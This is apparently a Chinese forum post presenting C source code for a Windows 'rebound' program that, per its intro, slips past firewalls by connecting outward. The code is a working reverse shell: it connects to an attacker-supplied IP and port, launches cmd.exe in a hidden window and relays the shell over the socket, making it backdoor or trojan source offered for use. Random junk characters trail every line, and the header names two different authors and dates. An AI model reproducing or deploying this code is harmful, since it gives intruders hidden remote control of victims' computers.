这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 fykN\b
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/* ============================== l m
Rebound port in Windows NT ^F" *;8$
By wind,2006/7 MxdfuFss
===============================*/ BB%(!O4Dl
#include 5ef&Ih.3
#include w4x 8
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#pragma comment(lib,"wsock32.lib") >}4]51s
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void OutputShell(); .oK7E(Q J
SOCKET sClient; 8PEOi
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cEqh|Q
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void main(int argc,char **argv) lwY{rWo
{ VuPET
WSADATA stWsaData; i3%~Gc63
int nRet; T^nX+;:|
SOCKADDR_IN stSaiClient,stSaiServer; gMGg9U$@
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if(argc != 3) GDcV1$NA
{ W@ Z=1y
printf("Useage:\n\rRebound DestIP DestPort\n"); ,Tz
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return; Rke:*(p*n;
} _bd#C
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WSAStartup(MAKEWORD(2,2),&stWsaData); &.z/dFmG
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gK<- *v
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stSaiClient.sin_family = AF_INET; V")Q4h{
stSaiClient.sin_port = htons(0); %nC Uct@c
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;VuB8cnL`
~>C >LH>8
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -24.[E/5
{ Q:M>!|
printf("Bind Socket Failed!\n"); Tk!b`9
return; FO5SXwx
} :$tW9*\KY
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stSaiServer.sin_family = AF_INET; 1CM1u+<iZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oTfbx+i/G
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >YfOR%mS4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vjb?N
{ @j
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printf("Connect Error!"); $G_<YVXcG
return; O9_YVE/-]
} .'a |St
OutputShell(); 3k<#;(
} (=/F=,w
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void OutputShell() 16>uD;G
{ p~.@8r(
char szBuff[1024]; PsgzDhRv
SECURITY_ATTRIBUTES stSecurityAttributes; gAj)3T@
OSVERSIONINFO stOsversionInfo; 7&3URglsL"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t0>{0 5
STARTUPINFO stStartupInfo; c6HU'%v
char *szShell; XOCau.#
PROCESS_INFORMATION stProcessInformation; XNUqZ-M:
unsigned long lBytesRead; //Gvk|O1
pPZ/ O6
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~Z]vr6?$h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); '-IT@}
stSecurityAttributes.lpSecurityDescriptor = 0; 6p"c^
stSecurityAttributes.bInheritHandle = TRUE; >bN~p
nvPE
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (U_Q7hja?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L"iyjL<M
fmJW d|
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z#VpS=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9|?Lz
stStartupInfo.wShowWindow = SW_HIDE; tb0E?&M
stStartupInfo.hStdInput = hReadPipe; =
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (nD$%/uK'
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GetVersionEx(&stOsversionInfo); {z /^X<T
c@-K
switch(stOsversionInfo.dwPlatformId) Qe$>Jv5
{ 9ET+k(wI@
case 1: oqba:y;AR
szShell = "command.com"; pPqN[OJ
break; -1
default: g>xUS_d>
szShell = "cmd.exe"; %hbLT{w
break; IZ0$=aB7
} RVnyl`s
e=l5j"gq
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0? us]lx
` G=L07
send(sClient,szMsg,77,0); d?M!acB
while(1) =)- Q?1q
{ 2nU
NI
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); / =m9s
if(lBytesRead) g!p_c
{ i!W8Q$V
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); s#4ew}
send(sClient,szBuff,lBytesRead,0); kbYg4t]FH
} //M4Sq(
else %HF$
{ NhK(HTsvK
lBytesRead=recv(sClient,szBuff,1024,0); ^wF@6e7/&
if(lBytesRead<=0) break; Z!-<rajl
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )fMX!#KP
} |5IY`;+9
} N9=r#![>,
dA)4(0o8fD
return; <`xRqe:&9
}